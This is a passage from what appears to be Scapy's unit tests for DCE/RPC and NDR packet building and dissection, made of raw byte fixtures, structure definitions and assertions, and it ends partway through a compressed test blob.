DceRpc(b'\\x05\\x00\\x00\\x03\\x10\\x00\\x00\\x00\\xa8\\x038\\x00\\x03\\x00\\x00\\x00L\\x03\\x00\\x00\\x01\\x000\\x00C\\x00\\x8e\\xa5mX*\\xf4\\xaa\\x0c\\xfd\\xf3\\x182\\xbe\\x96\\xbe\\xfa\\xad%\\xa4\\x85\\x10nz\\xa1t\\xe5\\xd7&Vl\\xcd8X,\\x82\\xb4:D\\x8ff\\x9ft\\x07\\xa9W\\x01#\\x92t~\\x15\\xf0\\n\\xa7|\\xae\\xe3\\xe6\\xf6(J\\x80\\'\\'\\xc5\\xe0\\x9cm[\\\\\\x94\\x9at\\x14\\xf3\\x03qFV:\\xd5\\xd6\\xa5\\x85\\x12\\x1e\\xd6\\x81\\xa4#\\xe1\\x80\\xf4r\\x82\\x82]\\xb1\\xddK!\\x0b\\xba\\xf6\\x9e\\xa9\\xc7\\xd0\\x16^\\xaa\\x9e\\xe5\\xb8\\x9c\\xf2M\\x00\\xebZ\\xdb\\xe4\\xe8\\xeb\\x01\\x1e\\x90\\xd4hE\\x04\\xd9\\xc5\\xb7\\x8eL7\\x0c\\x058u\\xd2\\xdf\\x91DJ\\x0c;\\xb8\\x80\\x84\\xe0J\\x8f\\xcc\\xa5TR\\xd4\\xf8\\x16Xd\\x93\\x1a\\x8a\\xa4=\\x96\\xc7\\x97\\xado\\xdb\\x8b5\\x8e\\x0f\\xc8\\xa9\\x93\\xdd\\xa2\\xa0\\xc54\\xea\\x0c4b\\x8a\\xb0r.\\xeb=o8\\xe3\\xd4\\x1d\\xe4o\\x83Pf_GJU\\x9d&\\xdf\\x1c\\xa2\\xfd,\\xcd\\xd4\\xbe\\\\Hh\\x17\\xbe\\x02\\xc5\\xa0\\xd53(\\xc9\\xbbI\\xbd\\x1e\\xf1\\xb0\\xe5|\\x1d\\x03\\xc0\\xab\\xae\\'NU\\xf2\\xc5\\xc5\\xfe\\xabs\\x8c\\xc2-\\x04\\xd9\\xac|\\xb0\\xf4\\xd9\\x00\\x8b\\xa8\\x1d+\\x01[\\x98\\xc9\\x98L\\x9a\\xd464\\xe0\\x02\\x07F\\xff\\xa1t\\xa0VQX\\xb9\\xfa\\xcdg\\xed\\x87\\x8e\\xe3\\xceh\\x9f\\xd3:`}z\\xb0\\n\\xdc\\xeb=\\x1a\\x98\\x06\\xcb,\\xba\\x18\\xa3>\\xfc\\xc2\\x9d\\x95\\xd4\\x83\\xba\"\\x80\\xee7^\\xda\\x02\\x8b\\x01\\'\\xe5e\\x18\\xa9}i\\xbe\\x86\\xf4\\x93\\x9c\\xe6\\xe5\\xf3\\xd2\\xa8\\x8dH\\\\\\x14\\x89+yc\\xa7kZ\\x80\\xe0\\xb1\\xc3\\xd1\\xa5\\x8a9\\xd9\\xe7\\x8d\\xfd\\x90\\x04B\\xce0\\xeaK\\xa1\\xbc\\xc1*\\x8a\\xfd*oX\\xa0\\x8b\\x04D\\xbc\\x87\\xacH\\x97\\x89\\x85\\xb2b\\xf4F\\xa2\\xf1m\\x06\\xfe\\x01\\xd2\\xcbT\\x01+\\x89<\\x05q0ibL\\x99[C\\xeb\\xcfx#i4\\x8b\\xbb\\xb5ZP\\x12?\\x8b\\xa5\\x0e\\x91\"@aJ\\t\\t\\x86\\xa5*\\t\\xbf\\x01Q\\xa5\\x85y\\xad\\xc0\\xa7\\xb2l5R\\xd4\\x85\\xf4\\xab\\n\\t\\rJb\\xf2\\x875\\xfcL\\x16\\xb0e\\x17\\xe1\\xdc<\\xd1\\xee\\x86\\x01\\xefHD\\x1eb\\xd1\\xd1\\xbby\\xd41\\xb7#\\xef$DN\\xda)\\x8f\\xb9\\xffEa\\xfe\\xd8C\\xb9\\xff}\\x85ra\\xca\\xec\\xe1\\xf6\\x99\\t\\xa1\\xc9H\\x97\\xd7\\xc2\\xa7\\xbbW_\\x1a\\x92\\xed\\xb7\\xde\\xba*\\r\\x1e%h\\xbdu)/\\xd8m\\xc0\\xa9\\xfb\\xa1\\xb5\\xa3\\xc3\\x81\\x18\\xcd6\\xd8t\\x06\\xa7\\xd8\\x84\\xf5\\x80\\xb3\\xaaX&\\x8a\\x7fPZ\\x04\\xcbsn.,b\\xdfW\\xd0\\x7f\\xc5\\xc90 \\x95S\\x13*42R\\x16fY\\xeb\\xd2\\x05\\xbd\\x18Wm\\xc0\\xa1\\x9dpYk\\xaa\\xd9\\xd9+\\x030\\x9a\\xe4IMlbfL\\x81\\xef[H]\\xc6:\\x88\\x9cjE\\x11\\xce%\\xd6\\xe2<\\x7f\\xaaDO\\x06\\xaf\\x13g&FX\\x05\\x90\\xefl\\x14\\x12P;\\xdc\\xe7N\\x0fU1C\\xd1u#\\xca\\xf9\\x12\\xe6\\xf7\\x1bT\\x17z\\x97\\xf2\\xf5GH\\xe3e\\xbe\\xe0\\xeb?\\xc2u\\x9e#\\x1c\\xed\\xcf7\\x04c\\x14\\x90\\xfc\\x07\\x1b\\xedX\\x1a\\xd4\\xbf\\x96T\\xee\\xe7\\x01^@\\xcfSG\\xd5\\x899\\x01\\xf9\\xc3\\xf3(\\xc2?^\\xcd[,\\xd85*\\xdd\\xab\\xb6t\\xc7p\\xc4\\xd3\\x95\\x9d\\x02 \\x9a^\\x81\\xb1.y\\x9d\\xc8\\xe7\\xb46\\xfc\\xc7,\\x9fI\\x03\\\\R\\x83Y3+\\xa7\\x1f\\x00\\xd0\\x16J\\x10\\x9a\\xc5\\'9)\\xab\\x93\\x05\\xd7\\xb6\\x12\\xde \\r\\xc5b\\x8bKo36\\xfej\\xa7\\t\\xd1{}a\\x7f\\xa4\\xc3\\xdc\\xaaA\\xe5\\xe3\\x91Uzw\\xb2w\\xee^\\xcd\\xd0i\\xb7\\xc0\\xff`D\\x06\\x04\\x00\\x00\\x00\\x00\\x00\\x13\\x00\\x1a\\x00\\xff\\xff\\x00\\x00\\xb6\\xb0D\"\\x11h\\x92_\\xe2 +\\x06b%\\x7f\\xf5\\x87O\\x00\\x08\\x81\\ro\\xcd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\nassert pkt.auth_verifier.auth_pad_length == 4\n\npkt.auth_verifier.auth_pad_length = None\npkt.auth_padding = None\npkt = DceRpc(bytes(pkt))\nassert pkt.auth_verifier.auth_pad_length == 4\n\n= Build and dissect DCE/RPC with vt_trailer\n\npkt = DceRpc(b'\\x05\\x00\\x00\\x83\\x10\\x00\\x00\\x00\\x80\\x00\\x10\\x00\\x02\\x00\\x00\\x00<\\x00\\x00\\x00\\x00\\x00\\x00\\x00t\\xc0\\xd8\\xcc\\xe5\\xd0@J\\x92\\xb4\\xd0t\\xfa\\xa6\\xba(\\x8a\\xe3\\x13q\\x02\\xf46q\\x01\\x00\\x04\\x00\\x01\\x00\\x00\\x00\\x02@(\\x00t\\xc0\\xd8\\xcc\\xe5\\xd0@J\\x92\\xb4\\xd0t\\xfa\\xa6\\xba(\\x01\\x00\\x01\\x00\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\x05\\x04\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xbe\\x1a\\xfd*\\x9c\\xd3R \\x00\\x00\\x00\\x00')\n\nassert pkt.auth_padding == b\"\\x00\\x00\\x00\\x00\"\nassert len(pkt.vt_trailer.commands) == 2\nassert pkt.vt_trailer.commands[0].sprintf(\"%Command%\") == \"SEC_VT_COMMAND_BITMASK_1\"\nassert pkt.vt_trailer.commands[0].bits == 1\nassert pkt.vt_trailer.commands[1].sprintf(\"%Command%\") == \"SEC_VT_COMMAND_PCONTEXT\"\nassert pkt.vt_trailer.commands[1].InterfaceId == pkt[DceRpc5Request].object\nassert pkt.vt_trailer.commands[1].Version == 0x10001\nassert DCE_RPC_TRANSFER_SYNTAXES[pkt.vt_trailer.commands[1].TransferSyntax] == \"NDR 2.0\"\nassert pkt.vt_trailer.commands[1].TransferVersion == 2\n\npkt.auth_padding = None\npkt.auth_verifier.auth_pad_length = None\npkt = DceRpc(bytes(pkt))\nassert pkt.auth_padding == b\"\\x00\\x00\\x00\\x00\"\nassert pkt.auth_verifier.auth_pad_length == 4\nassert pkt.vt_trailer.commands[1].TransferVersion == 2\n\n= Dissect DCE/RPC containing two fragments: Auth3 and a Request\n\npkt = DceRpc(b'\\x05\\x00\\x10\\x07\\x10\\x00\\x00\\x00\\xe2\\x01\\xc6\\x01\\x02\\x00\\x00\\x00\\xd0\\x16\\xd0\\x16\\n\\x05\\x00\\x00\\x00\\x00\\x00\\x00NTLMSSP\\x00\\x03\\x00\\x00\\x00\\x18\\x00\\x18\\x00z\\x00\\x00\\x00$\\x01$\\x01\\x92\\x00\\x00\\x00\\x0c\\x00\\x0c\\x00X\\x00\\x00\\x00\\x0c\\x00\\x0c\\x00d\\x00\\x00\\x00\\n\\x00\\n\\x00p\\x00\\x00\\x00\\x10\\x00\\x10\\x00\\xb6\\x01\\x00\\x00\\x15\\x82\\x88\\xe2\\n\\x00aJ\\x00\\x00\\x00\\x0f\\x857\\xcfG\\xcc\\x98\\x029\\x01\\n\\xedc\\x18\\xea\\xec\\xc3D\\x00O\\x00M\\x00A\\x00I\\x00N\\x00W\\x00I\\x00N\\x001\\x000\\x00$\\x00W\\x00I\\x00N\\x001\\x000\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00.\\xa4\\x829p_\\xa8\\xdc\\x15+7+\\xb4\\x8d\\x97~\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\xe0\\x91\\xd8\\xa5\\x91\\x82\\xd9\\x01\\xb8/\\xcf\\xac\\t\\x1c$\\xb3\\x00\\x00\\x00\\x00\\x02\\x00\\x0c\\x00D\\x00O\\x00M\\x00A\\x00I\\x00N\\x00\\x01\\x00\\n\\x00W\\x00I\\x00N\\x001\\x000\\x00\\x04\\x00\\x18\\x00d\\x00o\\x00m\\x00a\\x00i\\x00n\\x00.\\x00l\\x00o\\x00c\\x00a\\x00l\\x00\\x03\\x00$\\x00W\\x00I\\x00N\\x001\\x000\\x00.\\x00d\\x00o\\x00m\\x00a\\x00i\\x00n\\x00.\\x00l\\x00o\\x00c\\x00a\\x00l\\x00\\x05\\x00\\x18\\x00d\\x00o\\x00m\\x00a\\x00i\\x00n\\x00.\\x00l\\x00o\\x00c\\x00a\\x00l\\x00\\x07\\x00\\x08\\x00\\xe0\\x91\\xd8\\xa5\\x91\\x82\\xd9\\x01\\x06\\x00\\x04\\x00\\x06\\x00\\x00\\x00\\x08\\x000\\x000\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00@\\x00\\x00Z3!\\xf8xx\\x02\\xa0\\xcc\\xcb\\xa0\\xbb|\\xa5\\x0c\\xd3\\x93Ib_\\x8f\\xa6j\\xe1\\x82\\xd3\\xec?\\xaa\\xae\\x0e\\x8a\\n\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\t\\x00\\x12\\x00C\\x00I\\x00F\\x00S\\x00/\\x00t\\x00r\\x00u\\x00c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00!\\xdc\\xa8\\xa5\\x96\\xd0k7\\xdd\\x84\\xdb\\x029\\x1e+\\x97\\x05\\x00\\x00\\x83\\x10\\x00\\x00\\x00\\x80\\x00\\x10\\x00\\x02\\x00\\x00\\x00<\\x00\\x00\\x00\\x00\\x00\\x00\\x00t\\xc0\\xd8\\xcc\\xe5\\xd0@J\\x92\\xb4\\xd0t\\xfa\\xa6\\xba(\\x8a\\xe3\\x13q\\x02\\xf46q\\x01\\x00\\x04\\x00\\x01\\x00\\x00\\x00\\x02@(\\x00t\\xc0\\xd8\\xcc\\xe5\\xd0@J\\x92\\xb4\\xd0t\\xfa\\xa6\\xba(\\x01\\x00\\x01\\x00\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\x05\\x04\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00/L\\xb5\\\\\\xfc\\x83\\xecF\\x00\\x00\\x00\\x00')\nassert DceRpc5Auth3 in pkt\nassert pkt.pad == b'\\xd0\\x16\\xd0\\x16'\nassert pkt.auth_verifier.auth_value.UserName == \"WIN10$\"\nassert pkt.auth_verifier.auth_value.NtChallengeResponse.getAv(9).Value == 'CIFS/truc'\n\npkt2 = DceRpc(pkt[conf.padding_layer].load)\nassert DceRpc5Request in pkt2\nassert conf.padding_layer not in pkt2\nassert pkt2.vt_trailer.commands[1].InterfaceId == pkt2.object\n\n+ Check DCE/RPC 4 layer\n\n= DCE/RPC 4 default values\nassert bytes(DceRpc4()) == b'\\x04\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= DCE/RPC 4: payload length computation\nassert bytes(DceRpc4() / b'\\x00\\x01\\x02\\x03') == b'\\x04\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x03'\n\n= DCE/RPC 4: Guess payload class fallback with no possible payload\np = DceRpc(hex_bytes('04000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000ffffffff00040000000000010203'))\np.payload.__class__ == conf.raw_layer\n\n= DCE/RPC 4: Guess payload class to a registered heuristic payload\n* A payload to be valid must implement the method can_handle and be registered to DceRpcPayload\nfrom scapy.layers.dcerpc import *; import binascii, re\nclass DummyPayload(Packet):\n  fields_desc = [StrField('load', '')]\n  @classmethod\n  def can_handle(cls, pkt, dce):\n    if pkt[0] in [b'\\x01', 1]:  # support for py3 bytearray\n      return True\n    else:\n      return False\n\nDceRpc4Payload.register_possible_payload(DummyPayload)\np = DceRpc(hex_bytes('04000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000ffffffff00040000000001020304'))\np.payload.__class__ == DummyPayload\n\n= DCE/RPC 4: Guess payload class fallback with possible payload classes\np = DceRpc(hex_bytes('04000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000ffffffff00040000000000010203'))\np.payload.__class__ == conf.raw_layer\n\n= DCE/RPC 4: little-endian build\nbytes(DceRpc4(ptype='response', endian='little', opnum=3) / b'\\x00\\x01\\x02\\x03') == hex_bytes('04020000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000300ffffffff04000000000000010203')\n\n= DCE/RPC 4: little-endian dissection\np = DceRpc(hex_bytes('04020000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000300ffffffff04000000000000010203'))\np.ptype == 2 and p.opnum == 3 and p.len == 4\n\n+ NDR tests\n\n= DCE/RPC 5 NDR: Create NDR Packet\n\n# from [MS-SRVS]\nclass LPSHARE_INFO_1(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullPointerField(\n            NDRConfVarStrNullFieldUtf16(\"shi1_netname\", \"\"),\n        ),\n        NDRIntField(\"shi1_type\", 0),\n        NDRFullPointerField(\n            NDRConfVarStrNullFieldUtf16(\"shi1_remark\", \"\"),\n        ),\n    ]\n\n= DCE/RPC 5 NDR: Check user friendliness\n\npkt = LPSHARE_INFO_1(shi1_netname=\"ADMIN1$\", ndr64=True)\nval = pkt.fields['shi1_netname']\nassert isinstance(val, NDRPointer)\nassert isinstance(val.value, NDRConformantArray)\nassert isinstance(val.value.value[0], NDRVaryingArray)\nassert val.value.value[0].value == b\"ADMIN1$\"\nassert pkt.valueof(\"shi1_netname\") == b\"ADMIN1$\"\n\n= DCE/RPC 5 NDR: Try building it\n\nassert bytes(pkt) == b'\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00A\\x00D\\x00M\\x00I\\x00N\\x001\\x00$\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= DCE/RPC 5 NDR: Re-dissect\nz = LPSHARE_INFO_1(bytes(pkt), ndr64=True)\nval = z.fields['shi1_netname']\nassert val.value.max_count == 8\nassert val.value.value[0].actual_count == 8\nassert val.value.value[0].value == b\"ADMIN1$\"\nassert z.valueof(\"shi1_netname\") == b\"ADMIN1$\"\n\n= DCE/RPC 5 NDR: Same thing with NDR32\n\npkt = LPSHARE_INFO_1(shi1_netname=\"ADMIN1$\", ndr64=False)\nassert bytes(pkt) == b'\\x00\\x00\\x02\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00A\\x00D\\x00M\\x00I\\x00N\\x001\\x00$\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\nz = LPSHARE_INFO_1(bytes(pkt), ndr64=False)\nval = z.fields['shi1_netname']\nassert val.value.max_count == 8\nassert val.value.value[0].actual_count == 8\nassert val.value.value[0].value == b\"ADMIN1$\"\nassert z.valueof(\"shi1_netname\") == b\"ADMIN1$\"\n\n+ Real tests on complex packets\n\n= DCE/RPC 5 NDR: Define structs\n\n# From [MS-WKST]\n\nclass LPWKSTA_USER_INFO_0(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(\n            NDRConfVarStrNullFieldUtf16(\"wkui0_username\", \"\")\n        )\n    ]\n\n\nclass LPWKSTA_USER_INFO_0_CONTAINER(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"EntriesRead\", 0),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"Buffer\",\n                [LPWKSTA_USER_INFO_0()],\n                LPWKSTA_USER_INFO_0,\n                count_from=lambda pkt: pkt.EntriesRead,\n            ),\n        ),\n    ]\n\n\nclass LPWKSTA_USER_INFO_1(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(\n            NDRConfVarStrNullFieldUtf16(\"wkui1_username\", \"\")\n        ),\n        NDRFullEmbPointerField(\n            NDRConfVarStrNullFieldUtf16(\"wkui1_logon_domain\", \"\")\n        ),\n        NDRFullEmbPointerField(\n            NDRConfVarStrNullFieldUtf16(\"wkui1_oth_domains\", \"\")\n        ),\n        NDRFullEmbPointerField(\n            NDRConfVarStrNullFieldUtf16(\"wkui1_logon_server\", \"\")\n        ),\n    ]\n\n\nclass LPWKSTA_USER_INFO_1_CONTAINER(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"EntriesRead\", 0),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"Buffer\",\n                [LPWKSTA_USER_INFO_1()],\n                LPWKSTA_USER_INFO_1,\n                count_from=lambda pkt: pkt.EntriesRead,\n            )\n        ),\n    ]\n\n\nclass LPWKSTA_USER_ENUM_STRUCT(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"Level\", 0),\n        NDRUnionField(\n            [\n                (\n                    NDRFullEmbPointerField(\n                        NDRPacketField(\n                            \"WkstaUserInfo\",\n                            LPWKSTA_USER_INFO_0_CONTAINER(),\n                            LPWKSTA_USER_INFO_0_CONTAINER,\n                        ),\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 0),\n                        (lambda _, val: val.tag == 0),\n                    ),\n                ),\n                (\n                    NDRFullEmbPointerField(\n                        NDRPacketField(\n                            \"WkstaUserInfo\",\n                            LPWKSTA_USER_INFO_1_CONTAINER(),\n                            LPWKSTA_USER_INFO_1_CONTAINER,\n                        ),\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1),\n                        (lambda _, val: val.tag == 1),\n                    ),\n                ),\n            ],\n            StrFixedLenField(\"WkstaUserInfo\", \"\", length=0),\n            align=(4, 8),\n            switch_fmt=(\"L\", \"L\"),\n        ),\n    ]\n\n\nclass NetrWkstaUserEnum_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ServerName\", \"\")),\n        NDRPacketField(\n            \"UserInfo\", LPWKSTA_USER_ENUM_STRUCT(), LPWKSTA_USER_ENUM_STRUCT\n        ),\n        NDRIntField(\"PreferredMaximumLength\", 0),\n        NDRFullPointerField(NDRIntField(\"ResumeHandle\", 0)),\n    ]\n\n\nclass NetrWkstaUserEnum_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\n            \"UserInfo\", LPWKSTA_USER_ENUM_STRUCT(), LPWKSTA_USER_ENUM_STRUCT\n        ),\n        NDRIntField(\"TotalEntries\", 0),\n        NDRFullPointerField(NDRIntField(\"ResumeHandle\", 0)),\n        NDRIntField(\"status\", 0),\n    ]\n\n= DCE/RPC 5 NDR: Build test\n\npkt = NetrWkstaUserEnum_Request(\n    ServerName=\"test\",\n    UserInfo=LPWKSTA_USER_ENUM_STRUCT(\n        WkstaUserInfo=NDRUnion(\n            tag=0,\n            value=LPWKSTA_USER_INFO_0_CONTAINER(\n                EntriesRead=1,\n                Buffer=[\n                    LPWKSTA_USER_INFO_0(wkui0_username=\"test\")\n                ]\n            )\n        )\n    ),\n    ndr64=True\n)\n\nprint(repr(bytes(pkt)))\nassert bytes(pkt) == b'\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00t\\x00e\\x00s\\x00t\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00t\\x00e\\x00s\\x00t\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= DCE/RPC 5 NDR: Dissect test\n\npkt = NetrWkstaUserEnum_Request(bytes(pkt), ndr64=True)\npkt.ServerName\nassert pkt.ServerName.value.value[0].value == b\"test\"\nassert pkt.UserInfo.WkstaUserInfo.value.value.Buffer.value.value[0].wkui0_username.value.value[0].value == b\"test\"\nassert pkt.PreferredMaximumLength == 0\nassert pkt.ResumeHandle is None\n\n= DCE/RPC 5 NDR: Dissect packet with NDRVarStrLenField\n\nfrom scapy.layers.msrpce.raw.ept import ept_lookup_Response\nfrom scapy.layers.msrpce.ept import protocol_tower_t\nimport zlib\ndata = zlib.decompress(b'x\\x9c\\xed\\x9dw\\x9c\\x13\\xd5\\xfa\\xffg\\xe9K\\xdb\\x05D\\x8a\\x94(Udq2-\\x13@$uY\\xb6\\xb2K\\x17\\x81\\xc9\\xccd\\t[\\x12\\x92\\xb0\\x14\\x15dY\\x90*\\xbdw\\x10iJG\\xe9 ^T@DDl\\xc0\\x15\\xb9(`\\xa1\\xd8\\x81\\x8b~\\x93%\\x08\\t$\\xcf\\x9c3s\\xff\\xf9\\xfd\\xc8\\xeb\\xb5\\xafA?\\x9fy\\xe7\\xccs\\xce<\\xcf\\xcc\\x99\\x12\\x82\\xb8\\xff\\xb3>\\x8e ~\\x8d\\xbb\\xfb\\xef\\x9d3\\xb3\\x8bv\\xf7\\xdf\\xdei\\xfa\\xa5\\xf1\\xb7\\x86\\x14-\\x9a\\x16\\x92\\x88;\\xcbH\\xbd\\x0c\\xa0\\x97\\x05\\xf4r\\x11\\xfae\\xd7\\xd8\\x8d\\xdb&\\xad\\xb4,\\xadS\\xf2W\\xf0\\xbf\\xcb\\x03z\\x05@\\xaf\\x18\\xa1\\x1f<\\xd2}1\\xf3]\\xaey\\xd4\\xab\\x7f\\xaf:\\xfd\\xcd\\x8d\\xb1\\x95\\x00=\\x1e\\xd0+\\x03z\\x15@\\xaf\\n\\xe8\\xd5\\x00\\xbd:\\xa0\\'\\x00z\"\\xa0\\xd7\\x88\\xd0#?5\\x01\\xbd\\x16\\xa0?\\x02\\xe8\\xb5\\x01\\xfdQ@\\xaf\\x03\\xe8u\\x01\\xbd\\x1e\\xa0\\xd7\\x8f\\xd0\\x85\\x1fz\\x9cZ^\\xbfB\\xca\\x8c\\xd9M.n/\\x93F=\\x06\\xe8\\r\\x00\\xbd!\\xa07\\x02\\xf4\\xc6\\x80\\xae\\x03\\xf4\\xc7\\x01\\xfd\\t >M\\x00\\xbd)\\xa07\\x03\\xf4\\xe6\\x80\\xde\\x02\\xd0[\\x02\\xfa\\x93\\x80\\xde*B\\x9f\\xf0\\xfa\\xa7/\\xf6\\xcd\\xca\\xb3mjt\\xb8h\\xe5\\x99\\x94\\x06O\\x01zk@O\\x02\\xf46\\x80\\xfe4\\xa0\\x93\\x80\\xae\\x07\\xb6\\x9f\\x02t\\x1a\\xd0\\x19@g\\x01\\x9d\\x03t\\x03\\xa0\\xf3\\x80n\\x04\\xf4\\xb6\\x80\\xde\\x0e\\xd0\\xdb\\x03\\xfa3\\x80\\xde\\x01\\xd0\\x9f\\x05\\xf4\\x8e\\x80n\\x02t3\\xa0[\\x00\\xdd\\n\\xe86@\\xb7\\x03z2\\xa0w\\x02\\xf4\\x14@\\xef\\x0c\\xe8\\xa9\\x80\\x9e\\x06\\xe8\\xe9\\x80\\x9e\\x01\\xe8\\x99\\x80\\x9e\\x05\\xe8]\\x00=\\x1b\\xd0s\\x00\\xbd+\\xa0w\\x03\\xf4\\xee\\x80\\xde\\x03\\xd0{\\x02z/@\\xef\\r\\xe8\\xcf\\x01z\\x1f@\\x7f\\x1e\\xd0\\xfb\\x02z?@\\xef\\x0f\\xe8\\x02\\xa0;\\x00]\\x04t\\t\\xd0e@w\\x02z.\\xa0\\x0f\\x00t\\x17\\xa0\\x0f\\x04\\xf4<@\\xcf\\x07\\xf4\\x02@/\\x04t7\\xa0{\\x00}\\x10\\xa0{\\x01\\xdd\\x07\\xe8~@\\x1f\\x0c\\xe8E\\x80>\\x04\\xd0\\x87\\x02\\xfa0@\\x1f\\x0e\\xe8/D\\xe8~\\xd9[\\xe0\\xf3\\x16\\xfd\\xa3\\xbf\\x18Z\\x06\\xcf\\x93R\\n<\\xf9:\\xa7\\xd7%\\x17J\\xf9\\xc3t\\x85B\\x81|\\xdf\\xf9l\\xdcK\\xc0\\xf7\\x8d\\x08-\\x83\\xc7\\xa5\\x19\\xb2\\x7f\\x88\\xdb\\x9b\\xa7\\xb3\\xb8\\x0b\\x0be\\xd1\\xefr\\x17\\xea\\xcc^w\\x9e\\xec\\xd5\\xf9doQ`\\x11\\xf8\"\\x8f\\xdbU\\xe8\\x7f\\x00g\\xa4F\\x9c\\x975\\xe2\\x8c\\xd2\\x88S\\x1cZ\\x06\\xcf\\x1bSMY)\\xba\\x9c\\xc0*.Q\\x8e\\xb5\\xceh\\x8cuJ0\\xd6\\x19\\x83\\xb1\\xce\\xd8\\xd0\\xf2Y\\x94\\xb8\\xe8\\x9cn\\xaf.\\xc3b\\xd6e\\xcb>\\xd9\\xaf+pK\\x83\\xf3\\xe5\\xfb\\xd9\\xafh\\xc8~o\\xde\\xc7\\xb7*|].e\\xf4\\xd6\\xd5\\xc3[Lm\\xef\\x19\\x17bG\\x1b\\xc7\\xe3\\x01}B\\x84~\\xe5\\xe4\\x87\\xdbxs\\x15\\xeb\\xae\\xa5\\xf3\\x96\\x14Oi\\xf0\\xd7D`\\xfdI\\xa1ep\\xfe!#;\\x0b\\x1c9\\x93\\xef\\xf5\\xe7\\xa4\\x80\\xfeWC\\